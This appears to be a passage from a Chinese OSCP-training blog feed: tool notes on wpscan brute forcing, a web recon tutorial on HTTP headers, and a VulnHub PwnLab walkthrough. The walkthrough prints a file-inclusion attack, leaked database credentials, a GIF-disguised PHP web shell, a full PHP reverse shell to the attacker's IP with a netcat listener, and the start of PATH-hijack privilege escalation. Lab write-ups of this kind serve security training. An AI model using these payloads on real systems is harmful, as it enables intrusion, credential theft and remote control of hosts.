PHP 8.2 + Nginx），为后续漏洞利用提供方向。\n​​6. wpscan​​ ​​功能​​：\n​​WordPress专项扫描器​​，检测主题/插件漏洞、弱密码、配置错误等。\n​​基本用法​​：\nwpscan --url http://target.com ​​优势用法​​：\n​​暴力破解​​：--passwords /path/to/wordlist.txt 枚举后台账号。 ​​漏洞利用​​：--plugin vuln-slug --vulnerabilities 检测已知漏洞插件。\n​​核心优势​​： ​​实时同步WP漏洞库​​：精准识别超过54,000个插件/主题漏洞（需API key）。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-07-28T15:31:31Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day24-web%E7%A8%8B%E5%BA%8F%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7/","title":"Day24 Web程序漏洞测试工具"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n对应OSCP官方教材第九章，这里只简要介绍top10的web漏洞，详细的漏洞用法有专门的专题讲解。\n🔍 Web应用漏洞特性 特点 原因分析 应对策略 大攻击面 多依赖库+欠安全配置 依赖成分分析(SCA)工具辅助 技术栈无关性 OWASP Top 10漏洞普遍存在 掌握通用漏洞原理(SQLi/XSS/SSRF) 框架隐蔽性 路由机制隐藏文件扩展名 聚焦源码特征而非URL扩展 🚀 渗透测试四步方法论 graph TB A[信息收集] --\u003e B[漏洞探测] B --\u003e C[权限提升] C --\u003e D[横向移动] subgraph A[信息收集] A1[技术栈识别] --\u003e|语言/框架| A2[响应头分析] A1 --\u003e|服务器/DB| A3[页面内容审查] A1 --\u003e|敏感路径| A4[站点地图扫描] end1. 信息收集核心技巧 途径 操作指令/位置 关键情报 URL解析 浏览器地址栏 .jsp(Java) .aspx(ASP.NET) 页面源码 Firefox Ctrl+Shift+C → 检查元素 jQuery版本/隐藏表单/注释信息 响应头 开发者工具 → 网络 → 点击请求 Server: nginx/1.18.0 站点地图 curl https://target/robots.txt 禁用爬取的敏感路径(如/admin) 管理后台 主动扫描 /manager/html /wp-admin Tomcat/WordPress等默认入口 ⚠️ 技术要点 1. 响应头情报价值 # 查看完整响应头 curl -I https://example.com # 关键头解析示例 Server: Apache/2.4.29 (Ubuntu) # Web服务指纹 X-Powered-By: PHP/7.2.24 # 后端语言版本 X-AspNet-Version: 4.0.30319 # .NET框架版本 2. 源码分析三板斧 框架识别： React：查找 ReactDOM.render( Vue：搜索 new Vue({ 敏感注释： \u0026lt;!-- DEV: test API key=a1b2c3 --\u0026gt; 客户端控制： \u0026lt;input type=\u0026quot;hidden\u0026quot; name=\u0026quot;isAdmin\u0026quot; value=\u0026quot;false\u0026quot;\u0026gt; 3. 后台路径字典 /console # WebLogic /adminer.php # Adminer数据库管理 /kibana # ELK管理界面 :8080/manage # JBoss 实战案例 官方靶场网站：https://www.megacorpone.com\n网站基本信息 可以使用Wappalyzer插件查看网站所用技术框架。 或使用whatweb工具查看\n1whatweb https://www.megacorpone.com/ 按F12或右键“检查”网页打开控制台查看网页信息\n控制台中可以输入Js代码\n点击最终便的按钮可以选择页面元素查看代码，文件上传后找上传的路径最好用。\n检查网站常见文件是robots.txt和sitemap.xml。\n一般是脚本在终端中爬取有配合其他命令自动化执行。\nBurp抓包请求头和响应头分析 ​一、HTTP 请求头关键字段解析​ ​\n1GET / HTTP/1.1 2Host: www.megacorpone.com 3User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5Accept-Language: en-US,en;q=0.5 6Accept-Encoding: gzip, deflate, br 7Dnt: 1 8Upgrade-Insecure-Requests: 1 9Sec-Fetch-Dest: document 10Sec-Fetch-Mode: navigate 11Sec-Fetch-Site: cross-site 12Priority: u=0, i 13Pragma: no-cache 14Cache-Control: no-cache 15Te: trailers 16Connection: keep-alive ​​请求方法​​\nGET / HTTP/1.1 ​​方法​​：GET（获取资源） ​​目标​​：根路径 /（通常为首页） ​​协议​​：HTTP/1.1（支持持久连接） ​​核心元数据​​ Host: www.megacorpone.com\n请求的目标域名（用于虚拟主机路由）。 User-Agent: Mozilla/5.0 (...) Firefox/133.0\n客户端浏览器和操作系统信息（可推断为 Win10 x64 的 Firefox 133）。 ​​内容协商​​ Accept: text/html, ...\n客户端支持的格式优先级：HTML \u0026gt; XHTML/XML \u0026gt; 其他类型。 Accept-Language: zh-CN, zh;q=0.8 ...\n语言优先级：简体中文 \u0026gt; 广义中文 \u0026gt; 台湾繁体 \u0026gt; 香港繁体 \u0026gt; 英语。 Accept-Encoding: gzip, deflate, br, zstd\n支持的压缩格式（服务器可选其一压缩响应）。 ​​连接管理​​ Connection: keep-alive\n要求复用 TCP 连接（减少重复握手开销）。 ​​安全策略​​ Upgrade-Insecure-Requests: 1\n建议升级到 HTTPS。 Sec-Fetch-* 系列： Dest: document – 目标为文档（如 HTML）。 Mode: navigate – 导航类请求（如页面跳转）。 Site: cross-site – 跨站请求（触发 CORS 校验）。 ​​二、HTTP 响应头关键字段解析​​ 1HTTP/1.1 200 OK 2Date: Mon, 28 Jul 2025 07:37:17 GMT 3Server: Apache/2.4.62 (Debian) 4Last-Modified: Wed, 06 Nov 2019 15:04:14 GMT 5ETag: \u0026#34;390b-596aedca79780-gzip\u0026#34; 6Accept-Ranges: bytes 7Vary: Accept-Encoding 8Content-Length: 14603 9Keep-Alive: timeout=5, max=100 10Connection: Keep-Alive 11Content-Type: text/html ​​状态行​​\nHTTP/1.1 200 OK ​​协议​​：HTTP/1.1 ​​状态码​​：200（请求成功） ​​描述​​：OK（资源已返回） ​​服务器信息​​ Server: Apache/2.4.62 (Debian)\nWeb 服务器为 Apache 2.4.62，运行于 Debian 系统。 Last-Modified: Wed, 06 Nov 2019 ...\n资源最后修改时间（用于客户端缓存验证）。 ​​资源标识​​ ETag: \u0026quot;390b-596aedca79780-gzip\u0026quot;\n资源唯一标识符（含 gzip 压缩标记）。 Accept-Ranges: bytes\n支持按字节范围请求（用于断点续传）。 ​​内容传输​​ `Content-Length: 14603 压缩后资源大小为 14603 字节。 Content-Type: text/html\n资源类型为 HTML 文档。 ​​缓存优化​​ Vary: Accept-Encoding\n缓存策略依据 Accept-Encoding 变化（不同压缩版本独立缓存）。 ​​连接控制​​ Connection: Keep-Alive\n保持 TCP 连接活跃。 Keep-Alive: timeout=5, max=100\n连接空闲超时 5 秒，最多复用 100 次请求。 ​​三、渗透测试中的关键关注点​​ ​​服务器指纹​​ Server 字段直接泄露 Web 服务器类型（Apache）、版本（2.4.62）、系统（Debian）。 ​​风险​​：暴露已知漏洞的攻击面（如特定版本漏洞）。 ​​隐藏技术栈标记​​ 非标准响应头（如 X-Powered-By: PHP/8.1）可能泄露后端语言或框架。 ​​操作建议​​：检查是否存在 X-Aspnet-Version 等字段，或通过 php.ini 设置 expose_php=off 隐藏 PHP 信息。 ​​缓存机制利用​​ ETag 和 Last-Modified 可用于构造条件请求，探测资源是否更新。 若返回 304 Not Modified，可能节省攻击流量。 ​​压缩与编码​​ Content-Encoding: gzip 需先解压再分析响应内容。 工具如 Burp Suite 自动处理压缩数据。 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-07-26T23:45:31Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day23-kali%E7%BD%91%E7%BB%9C%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E6%94%BB%E5%87%BB/","title":"Day23 Kali网络应用程序攻击"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n官网打开或链接地址下载虚拟镜像：\nhttps://www.vulnhub.com/entry/pwnlab-init,158/\nPwnLab是古早的退役机器，通过这个机器的练习，可以认识OSCP入门的基本难度。\n信息收集 1# 靶机地址 2172.168.169.143 3# Kali攻击机地址 4172.168.169.141 扫描端口 1ports=$(sudo nmap -p- --min-rate=5000 -Pn 172.168.169.143 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 2echo $ports 3sudo nmap -sT -sC -sV -O -Pn -p$ports 172.168.169.143 4sudo nmap --script=vuln -p$ports -Pn 172.168.169.143 扫描结果如下：\n1┌──(kali㉿kali)-[~/Desktop] 2└─$ echo $ports 380,111,3306,46298 4 5┌──(kali㉿kali)-[~/Desktop] 6└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 172.168.169.143 7Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 08:33 EDT 8Nmap scan report for 172.168.169.143 9Host is up (0.0019s latency). 10 11PORT STATE SERVICE VERSION 1280/tcp open http Apache httpd 2.4.10 ((Debian)) 13|_http-server-header: Apache/2.4.10 (Debian) 14|_http-title: PwnLab Intranet Image Hosting 15111/tcp open rpcbind 2-4 (RPC #100000) 16| rpcinfo: 17| program version port/proto service 18| 100000 2,3,4 111/tcp rpcbind 19| 100000 2,3,4 111/udp rpcbind 20| 100000 3,4 111/tcp6 rpcbind 21| 100000 3,4 111/udp6 rpcbind 22| 100024 1 46298/tcp status 23| 100024 1 47125/udp status 24| 100024 1 56014/udp6 status 25|_ 100024 1 59462/tcp6 status 263306/tcp open mysql MySQL 5.5.47-0+deb8u1 27| mysql-info: 28| Protocol: 10 29| Version: 5.5.47-0+deb8u1 30| Thread ID: 44 31| Capabilities flags: 63487 32| Some Capabilities: DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, FoundRows, Support41Auth, Speaks41ProtocolOld, LongPassword, ODBCClient, SupportsTransactions, SupportsCompression, InteractiveClient, Speaks41ProtocolNew, LongColumnFlag, ConnectWithDatabase, SupportsLoadDataLocal, IgnoreSigpipes, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults 33| Status: Autocommit 34| Salt: r\u0026#34;OEN9pLgCWm\u0026gt;-c0`vRt 35|_ Auth Plugin Name: mysql_native_password 3646298/tcp open status 1 (RPC #100024) 37MAC Address: 00:0C:29:D8:39:9C (VMware) 38Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 39Device type: general purpose 40Running: Linux 3.X|4.X 41OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 42OS details: Linux 3.2 - 4.14 43Network Distance: 1 hop 44 45OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 46Nmap done: 1 IP address (1 host up) scanned in 15.36 seconds 47 48┌──(kali㉿kali)-[~/Desktop] 49└─$ sudo nmap --script=vuln -p$ports -Pn 172.168.169.143 50Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 08:34 EDT 51Nmap scan report for 172.168.169.143 52Host is up (0.00098s latency). 53 54PORT STATE SERVICE 5580/tcp open http 56|_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS. 57| http-internal-ip-disclosure: 58|_ Internal IP Leaked: 127.0.1.1 59| http-cookie-flags: 60| /login.php: 61| PHPSESSID: 62|_ httponly flag not set 63|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) 64|_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities. 65| http-csrf: 66| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.168.169.143 67| Found the following possible CSRF vulnerabilities: 68| 69| Path: http://172.168.169.143:80/?page=login 70| Form id: user 71|_ Form action: 72| http-slowloris-check: 73| VULNERABLE: 74| Slowloris DOS attack 75| State: LIKELY VULNERABLE 76| IDs: CVE:CVE-2007-6750 77| Slowloris tries to keep many connections to the target web server open and hold 78| them open as long as possible. It accomplishes this by opening connections to 79| the target web server and sending a partial request. By doing so, it starves 80| the http server\u0026#39;s resources causing Denial Of Service. 81| 82| Disclosure date: 2009-09-17 83| References: 84| http://ha.ckers.org/slowloris/ 85|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 86| http-enum: 87| /login.php: Possible admin folder 88| /images/: Potentially interesting directory w/ listing on \u0026#39;apache/2.4.10 (debian)\u0026#39; 89|_ /upload/: Potentially interesting directory w/ listing on \u0026#39;apache/2.4.10 (debian)\u0026#39; 90111/tcp open rpcbind 913306/tcp open mysql 9246298/tcp open unknown 93MAC Address: 00:0C:29:D8:39:9C (VMware) 94 95Nmap done: 1 IP address (1 host up) scanned in 321.76 seconds Nmap扫描发现了用户名是user，还有两个子目录/images/和/upload/，80端口打开是一个网页，提示需要登录，尝试弱密码和sql万能密码都无法登录。\n发现主页的链接似乎是有文件包含。\n1http://172.168.169.143/?page=php://filter/read=convert.base64-encode/resource=login 解码这串base64得到\n1\u0026lt;?php 2session_start(); 3require(\u0026#34;config.php\u0026#34;); 4$mysqli = new mysqli($server, $username, $password, $database); 5 6if (isset($_POST[\u0026#39;user\u0026#39;]) and isset($_POST[\u0026#39;pass\u0026#39;])) 7{ 8\t$luser = $_POST[\u0026#39;user\u0026#39;]; 9\t$lpass = base64_encode($_POST[\u0026#39;pass\u0026#39;]); 10 11\t$stmt = $mysqli-\u0026gt;prepare(\u0026#34;SELECT * FROM users WHERE user=? AND pass=?\u0026#34;); 12\t$stmt-\u0026gt;bind_param(\u0026#39;ss\u0026#39;, $luser, $lpass); 13 14\t$stmt-\u0026gt;execute(); 15\t$stmt-\u0026gt;store_Result(); 16 17\tif ($stmt-\u0026gt;num_rows == 1) 18\t{ 19\t$_SESSION[\u0026#39;user\u0026#39;] = $luser; 20\theader(\u0026#39;Location: ?page=upload\u0026#39;); 21\t} 22\telse 23\t{ 24\techo \u0026#34;Login failed.\u0026#34;; 25\t} 26} 27else 28{ 29\t?\u0026gt; 30\t\u0026lt;form action=\u0026#34;\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; 31\t\u0026lt;label\u0026gt;Username: \u0026lt;/label\u0026gt;\u0026lt;input id=\u0026#34;user\u0026#34; type=\u0026#34;test\u0026#34; name=\u0026#34;user\u0026#34;\u0026gt;\u0026lt;br /\u0026gt; 32\t\u0026lt;label\u0026gt;Password: \u0026lt;/label\u0026gt;\u0026lt;input id=\u0026#34;pass\u0026#34; type=\u0026#34;password\u0026#34; name=\u0026#34;pass\u0026#34;\u0026gt;\u0026lt;br /\u0026gt; 33\t\u0026lt;input type=\u0026#34;submit\u0026#34; name=\u0026#34;submit\u0026#34; value=\u0026#34;Login\u0026#34;\u0026gt; 34\t\u0026lt;/form\u0026gt; 35\t\u0026lt;?php 36} 发现调用了config.php用同样的方法查看这个文件。得到用户名和密码root/H4u%QJ_H99,尝试登录，发现登录失败。\nconfig的源码\n1\u0026lt;?php 2$server\t= \u0026#34;localhost\u0026#34;; 3$username = \u0026#34;root\u0026#34;; 4$password = \u0026#34;H4u%QJ_H99\u0026#34;; 5$database = \u0026#34;Users\u0026#34;; 6?\u0026gt; index的源码\n1\u0026lt;?php 2//Multilingual. Not implemented yet. 3//setcookie(\u0026#34;lang\u0026#34;,\u0026#34;en.lang.php\u0026#34;); 4if (isset($_COOKIE[\u0026#39;lang\u0026#39;])) 5{ 6\tinclude(\u0026#34;lang/\u0026#34;.$_COOKIE[\u0026#39;lang\u0026#39;]); 7} 8// Not implemented yet. 9?\u0026gt; 10\u0026lt;html\u0026gt; 11\u0026lt;head\u0026gt; 12\u0026lt;title\u0026gt;PwnLab Intranet Image Hosting\u0026lt;/title\u0026gt; 13\u0026lt;/head\u0026gt; 14\u0026lt;body\u0026gt; 15\u0026lt;center\u0026gt; 16\u0026lt;img src=\u0026#34;images/pwnlab.png\u0026#34;\u0026gt;\u0026lt;br /\u0026gt; 17[ \u0026lt;a href=\u0026#34;/\u0026#34;\u0026gt;Home\u0026lt;/a\u0026gt; ] [ \u0026lt;a href=\u0026#34;?page=login\u0026#34;\u0026gt;Login\u0026lt;/a\u0026gt; ] [ \u0026lt;a href=\u0026#34;?page=upload\u0026#34;\u0026gt;Upload\u0026lt;/a\u0026gt; ] 18\u0026lt;hr/\u0026gt;\u0026lt;br/\u0026gt; 19\u0026lt;?php 20\tif (isset($_GET[\u0026#39;page\u0026#39;])) 21\t{ 22\tinclude($_GET[\u0026#39;page\u0026#39;].\u0026#34;.php\u0026#34;); 23\t} 24\telse 25\t{ 26\techo \u0026#34;Use this server to upload and share image files inside the intranet\u0026#34;; 27\t} 28?\u0026gt; 29\u0026lt;/center\u0026gt; 30\u0026lt;/body\u0026gt; 31\u0026lt;/html\u0026gt; 同样的方法查看upload的源码\n1\u0026lt;?php 2session_start(); 3if (!isset($_SESSION[\u0026#39;user\u0026#39;])) { die(\u0026#39;You must be log in.\u0026#39;); } 4?\u0026gt; 5\u0026lt;html\u0026gt; 6\t\u0026lt;body\u0026gt; 7\t\u0026lt;form action=\u0026#39;\u0026#39; method=\u0026#39;post\u0026#39; enctype=\u0026#39;multipart/form-data\u0026#39;\u0026gt; 8\t\u0026lt;input type=\u0026#39;file\u0026#39; name=\u0026#39;file\u0026#39; id=\u0026#39;file\u0026#39; /\u0026gt; 9\t\u0026lt;input type=\u0026#39;submit\u0026#39; name=\u0026#39;submit\u0026#39; value=\u0026#39;Upload\u0026#39;/\u0026gt; 10\t\u0026lt;/form\u0026gt; 11\t\u0026lt;/body\u0026gt; 12\u0026lt;/html\u0026gt; 13\u0026lt;?php 14if(isset($_POST[\u0026#39;submit\u0026#39;])) { 15\tif ($_FILES[\u0026#39;file\u0026#39;][\u0026#39;error\u0026#39;] \u0026lt;= 0) { 16\t$filename = $_FILES[\u0026#39;file\u0026#39;][\u0026#39;name\u0026#39;]; 17\t$filetype = $_FILES[\u0026#39;file\u0026#39;][\u0026#39;type\u0026#39;]; 18\t$uploaddir = \u0026#39;upload/\u0026#39;; 19\t$file_ext = strrchr($filename, \u0026#39;.\u0026#39;); 20\t$imageinfo = getimagesize($_FILES[\u0026#39;file\u0026#39;][\u0026#39;tmp_name\u0026#39;]); 21\t$whitelist = array(\u0026#34;.jpg\u0026#34;,\u0026#34;.jpeg\u0026#34;,\u0026#34;.gif\u0026#34;,\u0026#34;.png\u0026#34;); 22 23\tif (!(in_array($file_ext, $whitelist))) { 24\tdie(\u0026#39;Not allowed extension, please upload images only.\u0026#39;); 25\t} 26 27\tif(strpos($filetype,\u0026#39;image\u0026#39;) === false) { 28\tdie(\u0026#39;Error 001\u0026#39;); 29\t} 30 31\tif($imageinfo[\u0026#39;mime\u0026#39;] != \u0026#39;image/gif\u0026#39; \u0026amp;\u0026amp; $imageinfo[\u0026#39;mime\u0026#39;] != \u0026#39;image/jpeg\u0026#39; \u0026amp;\u0026amp; $imageinfo[\u0026#39;mime\u0026#39;] != \u0026#39;image/jpg\u0026#39;\u0026amp;\u0026amp; $imageinfo[\u0026#39;mime\u0026#39;] != \u0026#39;image/png\u0026#39;) { 32\tdie(\u0026#39;Error 002\u0026#39;); 33\t} 34 35\tif(substr_count($filetype, \u0026#39;/\u0026#39;)\u0026gt;1){ 36\tdie(\u0026#39;Error 003\u0026#39;); 37\t} 38 39\t$uploadfile = $uploaddir . md5(basename($_FILES[\u0026#39;file\u0026#39;][\u0026#39;name\u0026#39;])).$file_ext; 40 41\tif (move_uploaded_file($_FILES[\u0026#39;file\u0026#39;][\u0026#39;tmp_name\u0026#39;], $uploadfile)) { 42\techo \u0026#34;\u0026lt;img src=\\\u0026#34;\u0026#34;.$uploadfile.\u0026#34;\\\u0026#34;\u0026gt;\u0026lt;br /\u0026gt;\u0026#34;; 43\t} else { 44\tdie(\u0026#39;Error 4\u0026#39;); 45\t} 46\t} 47} 48 49?\u0026gt; Mysql登录获得用户名 回到一开始的Nmap扫描结果发现3306端口是打开的，也就是mysql服务，刚刚config.php的密码也似乎是mysql的密码，不是登录密码。试一下：\n1mysql -uroot -h 172.168.169.143 -p --ssl 1mysql --skip-ssl -u root -p -h 192.168.107.29 设置跳过加密验证或使用数据库连接软件连接成功\n查看用户名列表，发现3个用户名和密码，解码base64得到在登录界面可以输入的密码。\nuser pass 解 kent Sld6WHVCSkpOeQ== JWzXuBJJNy mike U0lmZHNURW42SQ== SIfdsTEn6I kane aVN2NVltMkdSbw== iSv5Ym2GRo 输入任意组合密码即可登录。\n文件上传 上传一个测试文件，发现上传后的文件存放在upload下面。\n使用Burp抓包修改上传的请求，从之前的upload.php源码看，只能上传图片文件，就暂时不修改文件名，只测试是否有恶意内容检测，显示上传成功。\n1POST /?page=upload HTTP/1.1 2Host: 172.168.169.143 3Content-Length: 319 4Cache-Control: max-age=0 5Origin: http://172.168.169.143 6Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1vs6B8Q4tsVShuqH 7Upgrade-Insecure-Requests: 1 8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 10Referer: http://172.168.169.143/?page=upload 11Accept-Encoding: gzip, deflate, br 12Accept-Language: zh-CN,zh;q=0.9 13Cookie: PHPSESSID=02c1kbpgina1jajknkhkj4d6o0 14Connection: keep-alive 15 16------WebKitFormBoundary1vs6B8Q4tsVShuqH 17Content-Disposition: form-data; name=\u0026#34;file\u0026#34;; filename=\u0026#34;pphp.png\u0026#34; 18Content-Type: image/png 19 20GIF89a 21\u0026lt;?php system($_GET[\u0026#34;cmd\u0026#34;]);?\u0026gt; 22 23------WebKitFormBoundary1vs6B8Q4tsVShuqH 24Content-Disposition: form-data; name=\u0026#34;submit\u0026#34; 25 26Upload 27------WebKitFormBoundary1vs6B8Q4tsVShuqH-- 利用lang参数来把一句话木马带进来。\n反弹Shell 上传一个反弹shell的完整php脚本，然后在lang中请求。\n1rlwrap nc -lvnp 4777 2curl -v --cookie \u0026#34;lang=../upload/c91a703ee9be1019794f2dfe58855fbe.png\u0026#34; http://172.168.169.143/ 3# 美化 4python -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; 1POST /?page=upload HTTP/1.1 2Host: 172.168.169.143 3Content-Length: 4354 4Cache-Control: max-age=0 5Origin: http://172.168.169.143 6Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1vs6B8Q4tsVShuqH 7Upgrade-Insecure-Requests: 1 8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 10Referer: http://172.168.169.143/?page=upload 11Accept-Encoding: gzip, deflate, br 12Accept-Language: zh-CN,zh;q=0.9 13Cookie: PHPSESSID=02c1kbpgina1jajknkhkj4d6o0 14Connection: keep-alive 15 16------WebKitFormBoundary1vs6B8Q4tsVShuqH 17Content-Disposition: form-data; name=\u0026#34;file\u0026#34;; filename=\u0026#34;reverse.png\u0026#34; 18Content-Type: image/png 19 20GIF89a 21 22 \u0026lt;?php 23 // php-reverse-shell - A Reverse Shell implementation in PHP 24 // Copyright (C) 2007 pentestmonkey@pentestmonkey.net 25 26 set_time_limit (0); 27 $VERSION = \u0026#34;1.0\u0026#34;; 28 $ip = \u0026#39;172.168.169.141\u0026#39;; // You have changed this 29 $port = 4777; // And this 30 $chunk_size = 1400; 31 $write_a = null; 32 $error_a = null; 33 $shell = \u0026#39;uname -a; w; id; /bin/sh -i\u0026#39;; 34 $daemon = 0; 35 $debug = 0; 36 37 // 38 // Daemonise ourself if possible to avoid zombies later 39 // 40 41 // pcntl_fork is hardly ever available, but will allow us to daemonise 42 // our php process and avoid zombies. Worth a try... 43 if (function_exists(\u0026#39;pcntl_fork\u0026#39;)) { 44 // Fork and have the parent process exit 45 $pid = pcntl_fork(); 46 47 if ($pid == -1) { 48 printit(\u0026#34;ERROR: Can\u0026#39;t fork\u0026#34;); 49 exit(1); 50 } 51 52 if ($pid) { 53 exit(0); // Parent exits 54 } 55 56 // Make the current process a session leader 57 // Will only succeed if we forked 58 if (posix_setsid() == -1) { 59 printit(\u0026#34;Error: Can\u0026#39;t setsid()\u0026#34;); 60 exit(1); 61 } 62 63 $daemon = 1; 64 } else { 65 printit(\u0026#34;WARNING: Failed to daemonise. This is quite common and not fatal.\u0026#34;); 66 } 67 68 // Change to a safe directory 69 chdir(\u0026#34;/\u0026#34;); 70 71 // Remove any umask we inherited 72 umask(0); 73 74 // 75 // Do the reverse shell... 76 // 77 78 // Open reverse connection 79 $sock = fsockopen($ip, $port, $errno, $errstr, 30); 80 if (!$sock) { 81 printit(\u0026#34;$errstr ($errno)\u0026#34;); 82 exit(1); 83 } 84 85 // Spawn shell process 86 $descriptorspec = array( 87 0 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;r\u0026#34;), // stdin is a pipe that the child will read from 88 1 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;w\u0026#34;), // stdout is a pipe that the child will write to 89 2 =\u0026gt; array(\u0026#34;pipe\u0026#34;, \u0026#34;w\u0026#34;) // stderr is a pipe that the child will write to 90 ); 91 92 $process = proc_open($shell, $descriptorspec, $pipes); 93 94 if (!is_resource($process)) { 95 printit(\u0026#34;ERROR: Can\u0026#39;t spawn shell\u0026#34;); 96 exit(1); 97 } 98 99 // Set everything to non-blocking 100 // Reason: Occsionally reads will block, even though stream_select tells us they won\u0026#39;t 101 stream_set_blocking($pipes[0], 0); 102 stream_set_blocking($pipes[1], 0); 103 stream_set_blocking($pipes[2], 0); 104 stream_set_blocking($sock, 0); 105 106 printit(\u0026#34;Successfully opened reverse shell to $ip:$port\u0026#34;); 107 108 while (1) { 109 // Check for end of TCP connection 110 if (feof($sock)) { 111 printit(\u0026#34;ERROR: Shell connection terminated\u0026#34;); 112 break; 113 } 114 115 // Check for end of STDOUT 116 if (feof($pipes[1])) { 117 printit(\u0026#34;ERROR: Shell process terminated\u0026#34;); 118 break; 119 } 120 121 // Wait until a command is end down $sock, or some 122 // command output is available on STDOUT or STDERR 123 $read_a = array($sock, $pipes[1], $pipes[2]); 124 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); 125 126 // If we can read from the TCP socket, send 127 // data to process\u0026#39;s STDIN 128 if (in_array($sock, $read_a)) { 129 if ($debug) printit(\u0026#34;SOCK READ\u0026#34;); 130 $input = fread($sock, $chunk_size); 131 if ($debug) printit(\u0026#34;SOCK: $input\u0026#34;); 132 fwrite($pipes[0], $input); 133 } 134 135 // If we can read from the process\u0026#39;s STDOUT 136 // send data down tcp connection 137 if (in_array($pipes[1], $read_a)) { 138 if ($debug) printit(\u0026#34;STDOUT READ\u0026#34;); 139 $input = fread($pipes[1], $chunk_size); 140 if ($debug) printit(\u0026#34;STDOUT: $input\u0026#34;); 141 fwrite($sock, $input); 142 } 143 144 // If we can read from the process\u0026#39;s STDERR 145 // send data down tcp connection 146 if (in_array($pipes[2], $read_a)) { 147 if ($debug) printit(\u0026#34;STDERR READ\u0026#34;); 148 $input = fread($pipes[2], $chunk_size); 149 if ($debug) printit(\u0026#34;STDERR: $input\u0026#34;); 150 fwrite($sock, $input); 151 } 152 } 153 154 fclose($sock); 155 fclose($pipes[0]); 156 fclose($pipes[1]); 157 fclose($pipes[2]); 158 proc_close($process); 159 160 // Like print, but does nothing if we\u0026#39;ve daemonised ourself 161 // (I can\u0026#39;t figure out how to redirect STDOUT like a proper daemon) 162 function printit ($string) { 163 if (!$daemon) { 164 print \u0026#34;$string 165\u0026#34;; 166 } 167 } 168 169 ?\u0026gt; 170 171 172------WebKitFormBoundary1vs6B8Q4tsVShuqH 173Content-Disposition: form-data; name=\u0026#34;submit\u0026#34; 174 175Upload 176------WebKitFormBoundary1vs6B8Q4tsVShuqH-- 提权root 路径劫持攻击，kane提权为mike home文件夹下发现有几个用户名，其中三个正是刚刚mysql中泄露了，猜测终端的用户密码可能和mysql中泄露的密码一样，尝试一下就真的进入了，典型的密码复用问题。\n查看密码文件发现，john的用户权限可能更高，因为他的数字是1000，代表他是root之后新建的第一个用户，极有可能是管理员用户。kent用户下面没有特别的文件，kane用户文件夹下有个可执行文件，但是执行提示没找到mike文件夹下的msg.txt文件。Mike用户的密码不是mysql中的那个。\n如果是官方靶机，这里就有第一个flag。\n而且这个msgmike文件是mike用户给我们的，不是kane用户建立的，具有SUID权限。执行的结果发现：\n$ /home/kane/msgmike cat: /home/mike/msg.txt: No such file or directory 运行msgmike显示错误：尝试调用cat读取/home/mike/msg.txt 关键发现：程序使用相对路径调用系统命令cat，而不是绝对路径\u0026quot;/bin/cat\u0026quot; 思路就是看一下路径劫持提权的相关方法，让mgsmike文件以为cat是我们设置的\u0026quot;cat\u0026quot;而不是系统中的 